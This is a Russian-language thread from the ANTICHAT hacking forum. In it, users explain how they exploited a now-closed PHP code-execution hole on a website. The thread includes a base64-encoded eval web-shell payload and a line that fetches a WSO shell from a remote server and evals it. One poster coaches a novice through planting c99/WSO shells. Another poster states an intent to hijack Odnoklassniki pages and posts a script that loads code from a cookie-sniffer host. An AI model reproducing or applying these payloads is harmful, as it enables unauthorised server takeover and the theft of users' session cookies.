ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|
26.10.2013, 14:41
|
|
Guest
Сообщений: n/a
Провел на форуме:
4709
Репутация:
0
|
|
Сообщение от qaz
qaz said:
ну раз дыру закрыли, разсказую, вобще не понимаю чё вы так долго там думали,
этот кусок тут вобще не нужен был &cmd=phpinfo%28%29;
также как и PD9waHAgZXZhbCgkX0dFVFtj bWRdKTsgPz4==( в басе64 зашифрован код )
банально заливаете на другой серв код шелла, потом пишете код $a = file_get_contents("http://site.ru/wso.txt"); eval($a);
и усё, видите перед собой ваш шелл, там кругом права урезаны были, одни лишь папка была для записи cache
с инклудом никогда не сталкивался,а с шеллом тем более,на другом сайте у меня есть шелл
пробывал я так но он не запускается,а просто грузится на страницу и всё если http://site.ru/c99.php то сайт вообщевиснет
|
|
|
|
26.10.2013, 14:47
|
|
Guest
Сообщений: n/a
Провел на форуме:
344922
Репутация:
75
|
|
Сообщение от noviks
noviks said:
с инклудом никогда не сталкивался,а с шеллом тем более,на другом сайте у меня есть шелл
пробывал я так но он не запускается,а просто грузится на страницу и всё если http://site.ru/c99.php то сайт вообщевиснет
там нет инклуда, то обычное выполнения пхп кода, понятное дело что он не запускается, с какого перепугу ему запустится без eval как в моём примере??
|
|
|
|
26.10.2013, 14:55
|
|
Guest
Сообщений: n/a
Провел на форуме:
4709
Репутация:
0
|
|
можно поподробнее на будущее вот этот код $a = file_get_contents("http://site.ru/wso.txt"); eval($a); где писать?
|
|
|
|
26.10.2013, 15:11
|
|
Guest
Сообщений: n/a
Провел на форуме:
344922
Репутация:
75
|
|
Сообщение от noviks
noviks said:
можно поподробнее на будущее вот этот код $a = file_get_contents("http://site.ru/wso.txt"); eval($a); где писать?
вместо того кода что ты шифровал в басе64
|
|
|
|
26.10.2013, 15:20
|
|
Guest
Сообщений: n/a
Провел на форуме:
4709
Репутация:
0
|
|
Сообщение от qaz
qaz said:
вместо того кода что ты шифровал в басе64
ни xрена Ошибка выполнения программы Может с99 не катит
|
|
|
|
26.10.2013, 15:48
|
|
Guest
Сообщений: n/a
Провел на форуме:
344922
Репутация:
75
|
|
Сообщение от noviks
noviks said:
ни xрена Ошибка выполнения программы Может с99 не катит
где ошибка? какой программы?
|
|
|
|
26.10.2013, 15:52
|
|
Guest
Сообщений: n/a
Провел на форуме:
4709
Репутация:
0
|
|
Сообщение от qaz
qaz said:
где ошибка? какой программы?
сделал так
всё нормально запускается,но когда пытаюсь перейти в каталог, чистая страница и Ошибка выполнения программы
|
|
|
|
26.10.2013, 15:58
|
|
Guest
Сообщений: n/a
Провел на форуме:
344922
Репутация:
75
|
|
Сообщение от noviks
noviks said:
сделал так
всё нормально запускается,но когда пытаюсь перейти в каталог, чистая страница и Ошибка выполнения программы
так дирку ж уже прикрыли....
|
|
|
|
27.10.2013, 00:20
|
|
Guest
Сообщений: n/a
Провел на форуме:
943
Репутация:
0
|
|
я хочу взломать странички одноклассники.ру и там ставить мой сципт не получится ))) я могу так собирать куки из одноклассники.ру и хочу это отправить в сниффер
!function (d, id, did, st) {
var js = d.createElement("script");
js.src = "http://snifer.ejan.ru/connect.js";
js.onload = js.onreadystatechange = function () {
if (!this.readyState || this.readyState == "loaded" || this.readyState == "complete") {
if (!this.executed) {
this.executed = true;
setTimeout(function () {
OK.CONNECT.insertGroupWidget(id,did,st);
}, 0);
}
}}
d.documentElement.appendChild(js);
}(document,"ok_group_widget","52864984219766","{wi dth:250,height:335}");
|
|
|
|
27.10.2013, 02:10
|
|
Guest
Сообщений: n/a
Провел на форуме:
23886
Репутация:
-3
|
|
Незнаю что за двиг.
В поиске пишу
|
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Линейный вид
